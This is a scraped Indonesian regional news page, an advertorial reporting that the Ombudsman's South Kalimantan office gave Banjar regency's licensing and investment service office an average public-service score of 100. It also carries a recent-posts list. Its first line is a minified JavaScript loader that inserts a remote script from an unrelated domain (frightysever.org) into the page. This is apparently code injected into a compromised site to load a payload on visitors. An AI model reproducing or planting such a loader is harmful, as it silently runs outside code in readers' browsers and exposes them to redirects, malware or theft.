(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pelayanan di DPMPTST Banjar Diberi Nilai 100 Oleh Ombudsman RI Perwakilan Kalsel


MARTAPURA, Berdasarkan hasil pelaporan pelayanan publik di Kabupaten Banjar kepada pihak Ombudsman RI Perwakilan Kalsel, tingkat pelayanan publik sejumlah instansi di Kabupaten Banjar masuk dalam kategori sedang.

Ombudsman RI Perwakilan Kalsel memberikan nilai tertinggi atau rata-rata 100 atas tingkat pelayanan publik instansi paling baik di Pemkab Banjar oleh Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTST) Kabupaten Banjar.

Kepala DPMPTST Drs Akhmad Hairuddin Fahri MM menjelaskan kepada Kanal Kalimantan untuk proses pelayanan yang diberikan pihak DPMPTST Kabupaten Banjar pertama

masyarakat datang langsung atau secara online untuk melakukan pendaftaran permohonan berkas perizinan dan setelah semua berkas diterima  dan dianggap sudah lengkap, maka pemohon akan diberikan bukti tanda terima. Kedua setiap perkembangan kegiatan kemajuan proses permohonan mereka akan selalu diberi informasi melalui SMS gateway atas sejauh mana proses kemajuan perkembangan berkas tersebut.

“Sudah sampai dimana berkas itu selalu kita sampaikan, apakah sudah di tanda tangani oleh kepala dinas atau bidang hingga penerbitan,” ujar Fahri, Rabu (24/1).

Fahri menjelaskan, untuk waktu peroses penyelesaian pemberkasan berbeda-beda tergantung tujuan pemberkasan tersebut. “Namun kami selalu menyesuaikan berdasarkan SOP yang sudah ditentukan yaitu antara 7 hari sampai 14 hari,” ungkap Fahri.

Pihak DPMPTST Kabupaten Banjar mengatakan akan terus meningkatkan dan mengoptimalkan pelayanan kepada masyarakat yang mengajukan perizinan.

“Kedepan kami akan meminimalisir hubungan langsung, yaitu lewat sistem pendaptaran online atau sistem digital,” ujar Fahri.

Sebelumnya, Ketua Ombudsman RI Perwakilan Kalsel Nurholis Majid saat menjadi narasumber di acara Rakor pendamping desa P3MD se Kabupaten Banjar menyampaikan hasil penilaian kepatuhan standar pelayanan publik sesuai dengan UUD No 25 Tahun 2009 serta kordinasi laporan masyarakat Desa Lok Buntur, Selasa (23/1).

Nurcholis Majid hanya menyebut satu dinas yang mematuhi undang-undang pelayanan publik dengan nilai yang sangat baik dan memuaskan dan dapat ditiru oleh instansi lain. Yaitu Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu Kabupaten Banjar dari 30 layanan dengan hasil semua pelayanan rata-rata mencapai nilai 100,00. (rendy)

Reporter: Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

30 menit ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

7 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

8 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

10 jam ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

10 jam ago

This website uses cookies.